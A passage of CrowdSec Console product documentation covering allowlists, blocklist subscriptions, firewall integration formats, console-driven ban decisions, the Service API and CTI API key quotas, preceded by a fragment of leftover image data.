dvCSRdlbkljuQZhYEnnl1N7E8mI5Rpm5RrHuPIc8nON9DFUw8+EWfbCow8aaizRwBoeks+eiQKEzOY3bHAWwjYNJJqXpWT+K3WsJLNlKvgqEIg+/+RcePqrsFyfzR72XvVlyUt++UpUyNpN8GjkZfC12JEn1yjgBCw6dWzdujXPuxEKaANVocwI3LzwVJmbJ1vb8GTFuwuylVWeUm8Y12ASavanXygPfNQSQoAQaCAC0ue8G2iI1AgBQoAQ4EGg+XONmrp6rfhCMR4wKIsQIARkRQBzOOLzj5Jmmj/X4HvDWLOLWXPJkycJIUAIyAsBrLDDf/jmsdb8uUZFVaVYIMBKZR4UKIsQIASaiAD+t7cAb1HUvbZGZLsFcI2KKhY7mZqJ3hKgjRAgBF4FAhhAmZia4BtSeFm4PvstgWtU8I/oigqLOnToUB8KJCcECIGmIICbq7CgEAtueYy0CK7Bmum0tFR8F4bohqcrUBYhIAMC8GjMzc3xInFKSko9Lye8sNoiuAZ+Hd7NT0xMRJzcpruNqakphYpl6FVUhBBgEQDF6OjomJmZWdtY4+XH+Pj452OnegdQKCjP96HYdihp4vmMHILE4Bp9fA1PS6sZ/z9MeLMdBO8o6YVQ7mYJOpxQ7gYqRetwM2HWCcFgxGjQ2UQcw+/VtCyuEV0j8RUAf7+LrBRXjxpBCLxhCLzwYp6TDJ9Hw5zWG/aOQpOvBVw/xkatSq10dJpcHRkgBJovAqIbqBE3UUvjGvbCqzYGJbYUJQgBQkBGBFpIbFhGdKgYIUAIyAsB4hp5IUl2CAFCgA8B4ho+dCiPECAE5IUAcY28kCQ7hAAhwIcAcQ0fOpRHCBAC8kKAuEZeSJIdQoAQ4EOAuIYPHcojBAgBeSFAXCMvJMkOIUAI8CFAXMOHDuURAoSAvBAgrpEXkmSHECAE+BAgruFDh/IIAUJAXggQ18gLSbJDCBACfAgQ1/ChQ3mEACEgLwSIa+SFJNkhBAgBPgT+B6OGqzr9jJbEAAAAAElFTkSuQmCC) --- # Centralized Allowlists CrowdSec Premium Feature Centralized allowlists is a powerful feature that allows you to manage allowlists across all your security engines and integrations from a single location. For free, you can still use [allowlist](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) locally. ## How do allowlists work?[โ€‹](#how-do-allowlists-work "Direct link to How do allowlists work?") Allowlists are a list of IP addresses or IP ranges that you trust and want to bypass your security rules. When an IP address is in the allowlist, it will not be blocked by your security engine. This is useful when you have services that you know are safe and don't want to be blocked. When integrations are subscribed to allowlists, we will remove the allowlisted IP addresses from the list before sending them to the integration. ## Getting started[โ€‹](#getting-started "Direct link to Getting started") Proceed to the `Blocklist` tab located on the top menu bar. From there, you can select the Allowlists sub-menu ![CrowdSec Allowlists Menu](/img/console/allowlists/allowlists-menu-light.png)![CrowdSec Allowlists Menu](/img/console/allowlists/allowlists-menu-dark.png) The first step is to create an allowlist. Click on the "Add an Allowlist" button and fill out the form with the details of the allowlist. ![CrowdSec Allowlists Create](/img/console/allowlists/allowlists-create-light.png)![CrowdSec Allowlists Create](/img/console/allowlists/allowlists-create-dark.png) Congratulations! You have created your first allowlist. You can now see it in the list of allowlists with some basic information like the number of items (IP addresses, IP ranges) in the allowlist, the number of subscribers, and the date it was created. You can delete or click on the allowlist to view it more closely. ![CrowdSec Allowlists List](/img/console/allowlists/allowlists-list-light.png)![CrowdSec Allowlists List](/img/console/allowlists/allowlists-list-dark.png) Important: Subscribe Entities After Creation Creating an allowlist is only the first step. **The allowlist will not take effect until you subscribe at least one entity** (Security Engine, Integration, Tag, or Organization) to it. See [Subscribe to an allowlist](#subscribe-to-an-allowlist) below for details. ## Add IPs or IP ranges to an allowlist[โ€‹](#add-ips-or-ip-ranges-to-an-allowlist "Direct link to Add IPs or IP ranges to an allowlist") To add IPs or IP ranges to an allowlist, click on the allowlist to which you want to add items. You will be redirected to the allowlist details page. Click on the "Add IP" button and fill in the form with the IP or IP range details you want to add. You can add multiple items by writing one by line in the corresponding field. The description field in the form is mandatory and will help you identify the item later. Expiration allows you to set a date when the item will be automatically removed from the allowlist. This is useful when allowing an IP for a limited time. We suggest predefined expiration times like 1 week, 30 days... but you can also define your expiration date. ![CrowdSec Allowlists Add Items](/img/console/allowlists/allowlists-add-items-light.png)![CrowdSec Allowlists Add Items](/img/console/allowlists/allowlists-add-items-dark.png) ## Subscribe to an allowlist[โ€‹](#subscribe-to-an-allowlist "Direct link to Subscribe to an allowlist") Click on the "Subscribe" button and select the integration for which you want to subscribe to the allowlist. You can subscribe to multiple integrations, security engines, or the whole organization to the same allowlist. At the top of the subscription windows, you can choose between the different types of subscriptions and then select the subscribers you want to add. ![CrowdSec Allowlists Subscription](/img/console/allowlists/allowlists-subscription-light.png)![CrowdSec Allowlists Subscription](/img/console/allowlists/allowlists-subscription-dark.png) --- # Introduction The CrowdSec Service API allows you to interact programmatically with the CrowdSec platform. With this API, you can manage blocklists and integrations. More features will be added in the future to provide more control over the CrowdSec Console. ## Authentication[โ€‹](#authentication "Direct link to Authentication") The CrowdSec Service API uses API keys to authenticate requests. You can create an API key in the CrowdSec Console by: 1. **Logging in** to the [CrowdSec Console](https://app.crowdsec.net/). 2. Go to the **Settings** page. 3. Click on the **Service API Keys** section. 4. Click on the **Create API Key** button. 5. Give your API key a name, description, set expiration if needed and select the permissions you want to grant. 6. Click on the **Create key** button. Once you have created an API key, you can use it to authenticate requests to the CrowdSec Service API by including it in the `x-api-key` header of your HTTP requests. ## Making Requests[โ€‹](#making-requests "Direct link to Making Requests") * Base URL: `https://admin.api.crowdsec.net/v1` * Headers: `x-api-key: YOUR_API_KEY` You can use any HTTP client library to make requests to the CrowdSec Service API. Here is an example using `curl`: SHCOPY ``` curl -X 'GET' 'https://admin.api.crowdsec.net/v1/blocklists' -H 'accept: application/json' -H 'x-api-key: YOUR_API_KEY' ``` ## API Reference[โ€‹](#api-reference "Direct link to API Reference") The CrowdSec Service API reference is available at: * [Redoc](https://admin.api.crowdsec.net/v1/docs): The ReDoc documentation for the CrowdSec Service API. ## SDKs[โ€‹](#sdks "Direct link to SDKs") We provide SDKs for the CrowdSec Service API to make it easier to interact with the API in your preferred programming language: * [Python SDK](https://github.com/crowdsecurity/crowdsec-service-api-sdk-python): A Python SDK for the CrowdSec Service API. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Now that you have an API key and know how to authenticate requests, you can start using the CrowdSec Service API to manage blocklists and integrations. Check out the API reference and SDKs to get started. --- # Blocklists catalog To provide blocklists tailored to each need, CrowdSec has a wide catalog of blocklists, encompassing a variety of threat types and sources. This diversity allows to select and implement blocklists that best match their specific security requirements. The search page in the CrowdSec Console provides a centralized interface to explore, subscribe, and manage blocklists tailored to enhance your organizationโ€™s security posture. This page allows to browse all available blocklists, find the ones most relevant to your needs, and activate them to protect your infrastructure. ![](/assets/images/catalog-081fd20772c4f1c23f43afd04a7bda19.png) The page is divided into several key sections, each serving a distinct purpose to simplify the process of managing blocklists: **Top Section: Available Subscription Types Overview**
This section displays the number of subscriptions remaining for the organization under each tier. ![](/assets/images/blocklist-quotas-db814a85b5e362ff7bc47b0ff968ba97.png) **Left Panel: Blocklist Search and Filters**
The left-hand panel is dedicated to the search engine, which allows you to efficiently browse and filter blocklists based on specific criteria. Using these filters helps you quickly locate blocklists that match your organizationโ€™s specific requirements. ![Alt text for the image](/img/console/blocklists/blocklist-search-filters.png) **Main Section: Blocklist Results** The central area displays the blocklist results based on your search and filters. Each blocklist card provides key details. You can also toggle between Expanded Mode and Condensed Mode. ![](/assets/images/blocklist-search-main-f5c4d503541ed697cb554719fd57dc3b.png) **Accessing Active Subscriptions**
To view and manage your active blocklist subscriptions, navigate to the Subscriptions menu in the Blocklists tab. This section provides an overview of all currently subscribed blocklists, allowing you to track and update your subscriptions as needed. --- # Blocklist Details To assist in deciding which blocklists to implement on your infrastructure, various statistics are available, offering a detailed insight into the benefits of using the Blocklist. ### Metrics[โ€‹](#metrics "Direct link to Metrics") The first section gives info about the popularity of the list among CrowdSec users * A new feature to give the possibility to rate a list when installed is under development * The number of users who have subscribed to the list * The amount of IPs that have been seen by the CrowdSec Community vs the amount that are in the list ![](/assets/images/popularity-0c08b45548f26eadb57f841b3717c8cc.png) ### Data Insights[โ€‹](#data-insights "Direct link to Data Insights") ![](/assets/images/data_insights-1e7678f47cb672122cc847d068b6eadf.png) The following insights use two main approaches to demonstrate the overall quality of the data provided by the list: * The frequency and impact of updates * The quality of the content can be composed of 4 different metrics: * For curated third-party blocklists, the number of IPs removed due to being identified as [false positives](https://docs.crowdsec.net/u/cti_api/taxonomy/false_positives.md) by CrowdSec. * The quantity of IPs that are also present in the CrowdSec Intelligence blocklist (LINK to CSI explanation). * The number of IPs that have been reportedly seen by CrowdSec agents. * The amount of IPs unique to this blocklist, not present in any other blocklist. info While exploring the Console, you can hover on the information circles next to each metric to get a refresher on what they signify. info Hovering over the circled graph displays the precise percentage of items related to the statistic. ![](/assets/images/exclusivity-1abdd4d52840c73ff4d0a5bf452937a1.png) ### Blocklist Insights[โ€‹](#blocklist-insights "Direct link to Blocklist Insights") ![](/assets/images/data_chunk-d79ae9991d20168a9caec6c24362a409.png) * Top [behaviors](https://docs.crowdsec.net/u/cti_api/taxonomy/behaviors.md) in the list * Top [classifications](https://docs.crowdsec.net/u/cti_api/taxonomy/classifications.md) in the list * Most reported IP's in the blocklist (You can click on the IP to search for it in the CrowdSec CTI) * Most reported ASN's in the blocklist The content of the blocklist is enriched against CrowdSec CTI to provide high-value meta-data about the most aggressive actors listed by the Blocklist. --- # Featured Blocklists Featured Blocklists page advertises the best of what CrowdSec has to provide security wise to your organization. ### Tailored Blocklist selection[โ€‹](#tailored-blocklist-selection "Direct link to Tailored Blocklist selection") ![](/assets/images/tailored-af75618697fffed2aa6d2b5abdfd4a40.png) CrowdSec's new Blocklist Suggestions feature leverages advanced AI technology to enhance your organization's cybersecurity measures. By analyzing signals shared by enrolled Security Engines, this feature identifies and recommends the most effective Blocklists to protect against specific types of attacks targeting your infrastructure. **Pre-requisites**
For an organization to benefit from the Blocklist Suggestions feature, the following pre-requisites must be met: * Security Engine must be enrolled in the CrowdSec ecosystem. * Security Engine must actively share signals with the CrowdSec network. **Feature Activation**
The feature is automatically enabled for all CrowdSec users who meet the pre-requisites. No manual configuration is required to start receiving suggestions. **Data Privacy and Usage**
All data is processed internally by CrowdSec, with no third-party access. Only CrowdSec-owned systems handle the signals, ensuring that your data remains secure and private. **Performance Metrics**
To help gauge the impact of these suggestions, an indicator in the Console shows the potential reduction in alerts you can expect after installing the recommended Blocklists. This allows you to see at a glance how much benefit each suggested Blocklist might provide. **Update Frequency**
The AI analysis runs on a daily basis. Any newly suggested Blocklists appear automatically in the Console, reflecting the most recent attack patterns observed in your organization. ### Blocklist categorization[โ€‹](#blocklist-categorization "Direct link to Blocklist categorization") ![](/assets/images/categories-f342f354320ac73d6722acf5462d029c.png) Under the Blocklist suggestions, another section regroups many CrowdSec Blocklists, grouped into main categories addressing different security needs. These Blocklists are categorized to make it quick for users to navigate and identify the most relevant ones based on their infrastructure, industry, or attack patterns. By selecting the appropriate Blocklists, users can enhance their security defenses and proactively mitigate threats. --- # Firewall integrations The Firewall integration feature allows users to consume blocklists without installing any CrowdSec Security Engine. This feature provides flexibility by enabling users to pull blocklists from an endpoint in various formats. ## Create an integration[โ€‹](#create-an-integration "Direct link to Create an integration") You will find the integration page under the blocklist menu. When it's your first time, you will encounter this page showing you all the possible integrations available. ![](/assets/images/catalog-f2218d7b154c92ee8974e79d69079afc.png) To create a new integration, click on the desired provider or the generic vendor format. The generic vendor format is a one-IP per-line format that will suit many situations. If you need another format, please ask us by clicking theย *Request integration*ย button.
Once you have an integration, the page is built differently, and you can click on the "Add Integration" button at the top right corner to complete the same action. A popup will then appear, asking for the integration name and an optional description to help you organize your future integrations. ![](/assets/images/create-83564c4d188c79b464104cf1ea85e430.png) In the next step, we will provide the necessary details for retrieving the IP addresses from a secure endpoint. It will include your unique endpoint URI and credentials. ![](/assets/images/create_last_step-961f3668456f52ec70e55242701c2fa4.png) ## Use an integration[โ€‹](#use-an-integration "Direct link to Use an integration") \| Don't forgot to [subscribe to a blocklist](https://docs.crowdsec.net/u/console/blocklists/subscription.md#integrations) to make the integration useful. Every product product has its way to handle external blocklists. We provide a simple URL to retrieve the IPs in a format that suits your needs. You can find the supported provider documentations and output format examples in the following array. info Some providers have technical limits on the number of IPs they can pull at once. That's why we recommand to monitor the number of IPS returned by the integration and use the pagination feature if needed. | Provider's documentation | Format | Example | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ------------------------------------------------------------------------------------------------------------------------------ | | [Cisco](https://www.cisco.com/c/en/us/td/docs/security/secure-firewall/management-center/device-config/710/management-center-device-config-71/objects-object-mgmt.html#ID-2243-00000291) | Plain text | `192.168.38.187`
`192.168.38.186` | | [Checkpoint](https://support.checkpoint.com/results/sk/sk132193) | Custom | `Accessobserv2,192.168.38.187,IP,high,high,AB,C&C server IP`
`Accessobserv2,192.168.38.188,IP,high,high,AB,C&C server IP` | | [F5](https://techdocs.f5.com/kb/en-us/products/big-ip-afm/manuals/product/big-ip-network-firewall-policies-and-implementations-14-0-0/07.html) | Custom | `192.168.38.187,32,BL,crowdsec-myf5Integration`
`192.168.38.188,32,BL,crowdsec-myf5Integration` | | [Fortinet](https://docs.fortinet.com/document/fortigate/6.4.5/administration-guide/891236/external-blocklist-policy) | Plain text | `192.168.38.187`
`192.168.38.186` | | [Palo Alto](https://docs.paloaltonetworks.com/pan-os/11-1/pan-os-admin/policy/use-an-external-dynamic-list-in-policy/external-dynamic-list#idf36cb80a-77f1-4d17-9c4b-7efe9fe426af) | Plain text | `192.168.38.187`
`192.168.38.186` | | [Sophos](https://docs.sophos.com/nsg/sophos-firewall/latest/Help/en-us/webhelp/onlinehelp/AdministratorHelp/ActiveThreatResponse/ConfigureFeeds/ThirdPartyThreatFeeds/index.html) | Plain text | `192.168.38.187`
`192.168.38.186` | | Generic vendor | Plain text | `192.168.38.187`
`192.168.38.186` | ## How to bypass provider limit?[โ€‹](#how-to-bypass-provider-limit "Direct link to How to bypass provider limit?") Some providers have technical limits on the number of IPs they can pull at once. That's why we recommand to monitor the number of IPS returned by the integration and use the pagination feature if needed. For this, you can use the page and page\_size query parameters in the URL. `https://admin.api.crowdsec.net/v1/integrations/123/content?page=1&page_size=1500` You can then use the page parameter to get the next page of IPs. ## I lost my credentials[โ€‹](#i-lost-my-credentials "Direct link to I lost my credentials") Remember that you can only view your credentials once when you create the integration. If you lose them, you must generate new credentials and update your firewall configuration. You can do this under the "Configure" menu, which is located on the corresponding integration catalog item. ![](/assets/images/refresh_credentials-2a0fbfda82286a62466c1d7c9cd72792.png) --- # Blocklists ## General overview[โ€‹](#general-overview "Direct link to General overview") The blocklists are essentially compilations of IP addresses. Most of these IPs have been involved in different forms of cyberattacks, or have been active on potentially malicious networks (Tor nodes, proxy, VPN, etc ...). The purpose of CrowdSec blocklists is to proactively protect your infrastructure and assets by preventing these unsafe actors from interacting with your systems. When an IP address is added to a blocklist, any attempts from it to access your infrastructure are automatically blocked. ## Blocklist types[โ€‹](#blocklist-types "Direct link to Blocklist types") ### Curated Third Party Blocklists[โ€‹](#curated-third-party-blocklists "Direct link to Curated Third Party Blocklists") Curated third party blocklists are lists that are freely available on the internet but have been passed through our curation processs to ensure any false positives that may be present are removed. ### ๐Ÿฅ‡ CrowdSec Premium Blocklists[โ€‹](#-crowdsec-premium-blocklists "Direct link to ๐Ÿฅ‡ CrowdSec Premium Blocklists") CrowdSec Premium blocklists are lists that are exclusively composed of the data shared by the CrowdSec community. These blocklists are composed of advanced AI systems based on the data shared by the CrowdSec community. --- # Blocklist Subscription To begin the subscription process, click the *Subscribe* button at the top of the blocklist details page. This will open a popup that will allow you to select the subscription method. ![](/assets/images/header_point_subscribe-f52f074e1e0dca07116a093ac9d2f0cc.png) ## Subscribe[โ€‹](#subscribe "Direct link to Subscribe") You can subscribe to a blocklist at the Organization, Security Engine, or Integration level. On the community plan you can subscribe to 3 blocklists, to remove this limitation you can upgrade to the [enterprise plan](https://www.crowdsec.net/pricing) which includes various perks. ### Organization Level[โ€‹](#organization-level "Direct link to Organization Level") The simplest way to subscribe to a blocklist is at the organization level. This will apply the blocklist to all Security Engines and Integrations within the organization this will include current and future Security Engines and Integrations. ![](/assets/images/org_subscribe_popup-f61c65c53f8e0df000992390d8faf8e3.png) note One remediation type will be applied to all the Security Engines and Integrations subscribed to the blocklist. If you want to apply different remediation methods to different Security Engines or Integrations, you will need to subscribe to the blocklist at the Security Engine or Integration level. ### Security Engines[โ€‹](#security-engines "Direct link to Security Engines") If your account already includes enrolled Security Engines, you'll find a section at the bottom that can also be used to start the subscription process. ![](/assets/images/se_section_point_subscribe-9ccf77e36ab1d9090d54d8393d924586.png) When initiated, a popup displays all available subscription methods, including Security Engines and Blocklist-as-a-Service options. ![](/assets/images/subscription_popup-e8147d8fe7a675a02cbff2d999f04cc7.png) warning Please note that only Security Engines version 1.4.2 or higher can be subscribed to a blocklist. If you use an older version, please update it to the latest version. ![](/assets/images/subscription_lapi_error-64d6379cd34fb0065c3b72520ee98a65.png) The popup will allow you to configure which engines will subscribe to the blocklist and what remediation will be applied to the IPs listed that are trying to reach your server. By default, all the eligible engines are selected. ![](/assets/images/subscription_popup_point_valid-b93abc0c1c212dff60e2fab296fa4916.png) Once an engine is subscribed, it will automatically receive all the blocklist data and stay updated when the blocklist content is refreshed. The dashboard at the bottom of the page provides an advanced management of the blocklist subscriptions. ![](/assets/images/subscribed_engine_section-72652db8e37ebdbf2dcdf8e067ab858d.png) To interact with the engines subscribed, two options are available: * To perform batch actions, the checkboxes can be used in combination with the selector ![](/assets/images/se_section_point_actions-49766c5d69d25720f5ac2212671a3692.png) ![](/assets/images/se_section_action_list-8e3b54d1ff79d68df8d463df4b5c41c2.png) * To perform quick actions, the buttons on the right side of the item can switch the remediation type or unsubscribe the Security Engine from the blocklist. ![](/assets/images/se_section_point_unsubscribe-4f9ae2b1f9f5427fd545c861ecd29840.png) info When performing an action, a popup will prompt to validate the action performed. ![](/assets/images/remediation_popup-4a35a1ba74a80db51f881a2579e7d4f3.png) ### Integrations[โ€‹](#integrations "Direct link to Integrations") If your organization already has Integrations, a section at the bottom can also be used to start the subscription process. ![](/assets/images/subscriptions-8d7102a296bb10c43c0c04439a6283e8.png) To subscribe to an integration to the current blocklist, click on the *Subscribe* button from the desired integration. You will now see a different border around the subscribed Integrations. ![](/assets/images/subscribed-b4dd17335772d5eea9282a72ab47f695.png) --- # Introduction ## Console Management[โ€‹](#console-management "Direct link to Console Management") CrowdSec Premium Feature The CrowdSec Security Engine is now able to receive instructions from the console. This is done via a polling API, it means that the CrowdSec Local API will use long polling to get orders from the CrowdSec Console. Currently, only 4 orders are available: * Adding decisions from the console * Delete decisions from the console * Force pull the community-blocklist/third party list when an instance subscribe/unsubscribe to a blocklist in the Console * Reauth to CAPI, when for example an instance is added to a tag ## Enable console management[โ€‹](#enable-console-management "Direct link to Enable console management") info Since CrowdSec v1.6.9, this flag is no longer required. CrowdSec will automatically detect the console plan in use and enable this option if needed. It may take up to 30 minutes for CrowdSec to detect a plan upgrade or downgrade. We need to enable the option on the LAPI side: SHCOPY ``` sudo cscli console enable console_management sudo systemctl restart crowdsec ``` The console\_management is now enabled and our CrowdSec Security Engine is ready to receive orders from the CrowdSec Console. --- # Decisions Management CrowdSec Premium Feature info If running a version before v1.6.9, this feature needs the *console\_management* feature activated on your Security Engine.
Activate it to make sure actions from the **decision management** are applied **immediately**.
Check the instructions to activate it [HERE](https://docs.crowdsec.net/u/console/decisions/decisions_intro.md). ## Console Management[โ€‹](#console-management "Direct link to Console Management") CrowdSec Local API is able to receive or delete local decisions from the Console. ### Adding decision[โ€‹](#adding-decision "Direct link to Adding decision") From the Console, it is possible to add a decision for your whole organization, for instances that belong to a tag or to one or more instances. * Click on the "Add a decision" button in the "Decisions" tab: ![CrowdSec Decisions Management](/img/console/decisions/decisions-light.png)![CrowdSec Decisions Management](/img/console/decisions/decisions-dark.png) * Then enter the IP address you want to ban, the remediation type, the duration, a reason and select the target of this decision: > In this example, we are adding a **ban** decision on **192.168.1.1** for **4h** because it is a **Bad IP**, to my two instances. ![CrowdSec Add Decision](/img/console/decisions/add_decision-light.png)![CrowdSec Add Decision](/img/console/decisions/add_decision-dark.png) And we can see in the CrowdSec Local API logs that we received this new decision: /var/log/crowdsec.log SH/var/log/crowdsec.logCOPY ``` time="31-03-2023 10:01:22" level=info msg="Received order 96384829-4dfd-4759-9e99-6b007dcf6452 from PAPI (1 decisions)" time="31-03-2023 10:01:22" level=info msg="Adding decision for '192.168.1.1' with UUID: b0ab6879-99b0-4960-8e80-c231ff22aa6c" time="31-03-2023 10:01:22" level=info msg="(console) xxxx@crowdsec.net ban decision from console by ip 192.168.1.1 : 4h ban on ip 192.168.1.1" time="31-03-2023 10:01:29" level=info msg="Signal push: 1 signals to push" ``` SHCOPY ``` sudo cscli decisions list โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ ID โ”‚ Source โ”‚ Scope:Value โ”‚ Reason โ”‚ Action โ”‚ Country โ”‚ AS โ”‚ Events โ”‚ expiration โ”‚ Alert ID โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 51093289 โ”‚ console โ”‚ ip:192.168.1.1 โ”‚ Bad IP โ”‚ ban โ”‚ โ”‚ โ”‚ 0 โ”‚ 3h55m45.776620725s โ”‚ 13404 โ”‚ ``` ### Deleting decision[โ€‹](#deleting-decision "Direct link to Deleting decision") * Go to the decision you want to delete. You can then choose if you want to delete the decision on all the machines, or only on the specified machine: ![CrowdSec Delete Decision](/img/console/decisions/delete_decision-light.png)![CrowdSec Delete Decision](/img/console/decisions/delete_decision-dark.png) * And confirm that you want to delete it: ![CrowdSec Delete Decision Confirm](/img/console/decisions/delete_decision_confirm-light.png)![CrowdSec Delete Decision Confirm](/img/console/decisions/delete_decision_confirm-dark.png) And we can see that our CrowdSec Local API received the order to delete the decision: SHCOPY ``` time="31-03-2023 11:41:52" level=info msg="Decision from 'console' for '192.168.1.1' (ban) has been deleted" time="31-03-2023 11:42:01" level=info msg="sync decisions: 1 deleted decisions to push" interval=10 source=papi ``` --- # Getting started ## Sign Up[โ€‹](#sign-up "Direct link to Sign Up") info You can sign up using Google SSO, Github SSO, or email and password.
We recommend using SSO for the best experience, but you can choose the method that works best for you. Head over to the [CrowdSec Console โ†—๏ธ](https://app.crowdsec.net/signup) and sign up for a new account. [![CrowdSec Signup Screen](/img/console_login_light.png)![CrowdSec Signup Screen](/img/console_login_dark.png)](https://app.crowdsec.net/signup) ### Email Authentication[โ€‹](#email-authentication "Direct link to Email Authentication") If you have chosen to sign up with email and password, you will receive a verification email. Click the link or enter the code to verify your account info If you do not receive an email, check your spam folder.
If it is still missing, click "Resend verification email" on the login page. *If more than 5 minutes have passed, [contact us](mailto:support@crowdsec.net).* ## Survey[โ€‹](#survey "Direct link to Survey") When you log in for the first time, we ask a few questions to understand your use case. ![CrowdSec Survey](/img/console_signup_survey_light.png)![CrowdSec Survey](/img/console_signup_survey_dark.png) info The survey is optional. We use the information to tailor your experience and better understand users. --- # Introduction to the CrowdSec Console CrowdSec is an open-source and collaborative cybersecurity solution that protects websites, servers, and IT infrastructures from attacks. It leverages the power of the community to create a continuously updated security model that adapts to emerging threats. By analyzing users' logs in real-time, CrowdSec identifies and blocks malicious behavior across the entire network. The participatory approach ensures that the intelligence gathered is shared across the community when one user is attacked, enabling all users to block potential threats without external intervention. ## The CrowdSec Console[โ€‹](#the-crowdsec-console "Direct link to The CrowdSec Console") The CrowdSec Console is a central component of the CrowdSec ecosystem, offering a user-friendly web interface that allows administrators to visualize and manage the security data generated by CrowdSec. The Console enhances the overall usability of CrowdSec by providing a clear, intuitive platform for monitoring threats and adjusting security policies on IT infrastructures. app.crowdsec.net โ€” Console ## A tool to mitigate security challenges[โ€‹](#a-tool-to-mitigate-security-challenges "Direct link to A tool to mitigate security challenges") The CrowdSec Console addresses several key cybersecurity challenges: Complexity of Threat Detection By providing a unified interface for monitoring and analysis, it simplifies the process of identifying and understanding security threats. Response Time Enhances the ability to quickly respond to and mitigate detected threats, reducing potential damage. Scalability and Management Offers a scalable solution that can manage security data across multiple installations, ideal for small and large businesses. Proactive Threat Blocking Enables users to leverage dynamically updated blocklists, crucial for preemptively blocking known malicious IP addresses before they can attack. Informed Decision-Making Access to detailed CTI data enables administrators to make informed decisions about their security posture, improving response strategies. Visibility & Metrics Track remediation metrics, alert trends, and community contributions to continuously improve your security posture. ## Accessing the Console[โ€‹](#accessing-the-console "Direct link to Accessing the Console") Getting access to the Console is straightforward: Create your free CrowdSec account $# No install required โ€” browser-based [Sign up for free](https://app.crowdsec.net/signup?mtm_campaign=Console\&mtm_source=docs\&mtm_medium=pageAd\&mtm_content=Introduction) [ โ†’](https://app.crowdsec.net/signup?mtm_campaign=Console\&mtm_source=docs\&mtm_medium=pageAd\&mtm_content=Introduction) --- # CTI API Keys CrowdSec CTI information can be navigated in the [WEB UI](https://docs.crowdsec.net/u/console/ip_reputation/search_ui.md) but for those who want to integrate CrowdSec's CTI into their tools and workflows, an API access is available through self-service API keys.
There are different quota options, from keys included in the current plan to higher-volume keys available as options to the premium plan. **Community Plan Free Key** - 120 / month ยท Testing integrations, personal servers, ad-hoc lookups **Premium Plan Free Key** - 1500 / month ยท Regular enrichment, small SOC teams, recurring automationPremium **Premium Keys Options** - 5K ยท 25K ยท 100K / month ยท Production SIEMs, SOARs, high-volume pipelines. Requires PremiumPremium API quotas are separate from Web UI quotas. Unused quota does not roll over. ## Create CTI API Keys[โ€‹](#create-cti-api-keys "Direct link to Create CTI API Keys") * Click the `+` in the top right corner. * Alternatively you can also click the `+ New Key` in the **Settings โ†’ CTI API Keys** page. ![CrowdSec Create API Key Dropdown](/img/console_create_api_key_dropdown_light.png)![CrowdSec Create API Key Dropdown](/img/console_create_api_key_dropdown_dark.png) *** There, you can choose among the various quota options. A free key is always available to test your integrations. The quota is higher if your organization is on a Premium plan. ![CrowdSec Create API Key Page](/img/console_create_api_key_form_light.png)![CrowdSec Create API Key Page](/img/console_create_api_key_form_dark.png) CTI API Keys and trials * Purchasing a CTI API Key does **not** grant access to a Premium Plan trial. * Purchasing a CTI API Key while a trial is active will **immediately end the trial**. * Cancelled CTI API Keys are **non-refundable** and will not be prorated, the full price remains due regardless of when the cancellation occurs. Lucene search via API The Advanced Search Lucene query interface available in the Console is a Web UI feature only, it is not accessible through self-service API keys. Programmatic access to bulk 